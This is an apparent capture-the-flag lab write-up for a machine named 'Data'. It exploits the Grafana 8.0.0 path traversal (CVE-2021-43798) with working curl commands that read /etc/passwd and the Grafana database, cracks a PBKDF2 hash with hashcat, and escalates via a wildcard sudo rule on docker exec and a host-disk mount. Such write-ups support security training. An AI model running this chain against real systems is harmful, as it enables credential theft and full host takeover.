Data
Recon
The scan shows two open ports.
1
2
22/tcp open ssh OpenSSH (Ubuntu 18.04)
3000/tcp open http Grafana v8.0.0 (Open Source)
Port 3000 is Grafana version 8.0.0. The app runs inside a Docker container (Alpine Linux), so it is not the host itself.
Foothold
CVE-2021-43798
Grafana 8.x has a directory traversal bug in the plugin API. We can put ../ after a plugin name (here alertlist) and the server will read any file we want. First I tested it with /etc/passwd.
1
curl "http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
It works, so I used the same bug to download the Grafana SQLite database.
1
curl "http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" -o grafana.db
Cracking the password
The database has a user table with the login, email, password hash and salt.
1
2
3
sqlite3 grafana.db "SELECT login,email,password,salt FROM user"
# admin (admin@localhost) PBKDF2-SHA256
# boris (boris@data.vl) PBKDF2-SHA256
There are two users, admin and boris. Both hashes are PBKDF2-SHA256, which is hashcat mode 10900. I put the hash of boris in boris_hash.txt and ran hashcat with rockyou.
1
2
hashcat -m 10900 boris_hash.txt rockyou.txt
# boris : beautiful1
PBKDF2 is slower to crack than MD5 or SHA1, but a weak password is still a weak password.
User
The password also works on SSH, so I logged in as boris and read the user flag.
1
2
ssh boris@10.129.234.47
cat user.txt
Root
First I checked what boris can run with sudo.
1
2
sudo -l
# (root) NOPASSWD: /snap/bin/docker exec *
The rule ends with a wildcard *, so we can pass any flags to docker exec. That means we can add -u 0 and run a shell as root inside the Grafana container.
1
sudo /snap/bin/docker exec -u 0 grafana sh
Now we are root in the container, and the container has full capabilities. Because of that we can mount the host disk (/dev/sda1) inside it and read the host’s root directory.
1
2
mount /dev/sda1 /mnt/host
cat /mnt/host/root/root.txt
That gives the root flag.